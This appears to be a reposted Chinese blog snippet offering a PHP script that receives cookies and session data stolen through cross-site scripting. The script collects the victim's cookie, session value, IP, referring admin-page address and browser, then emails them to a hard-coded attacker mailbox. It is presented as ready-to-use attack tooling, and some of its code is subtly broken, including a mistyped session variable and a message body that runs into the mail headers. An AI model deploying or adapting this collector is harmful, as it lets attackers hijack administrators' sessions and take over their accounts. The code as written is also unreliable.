xss配合php获取cookie和session的脚本
a href=http://qita.in/bMv target=_blank rel=nofollowimg alt=填写您的邮件地址，订阅我们的精彩内容： src=http://static.oschina.net/uploads/img/201302/16195715_kPci.png //a转载地址： a href=http://blog.qita.in/?post=219
转载地址：
http://blog.qita.in/?post=219<?php
$ip = $_SERVER['REMOTE_ADDR'];
$to='xxx@yeah.net';
$referer = $_SERVER['HTTP_REFERER'];
$cookie = $_GET['cookie'];
$session = $_GET['session'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$subject='远程XSS获取地址-域名：'.$referer;
$body="<p> 远程管理员IP= ".$ip."<p> 访问时间=" . date('d-m-Y').
"<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.' '.
$headers= 'MIME-Version: 1.0' . "\r\n";
$headers.= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers.="Cleanreport.com";
mail($to, $subject, $body, $headers);
?>
- 上一篇：无限级联动下拉框地区分类选择的实现
- 下一篇：php时间提示（常用）
精彩图集
精彩文章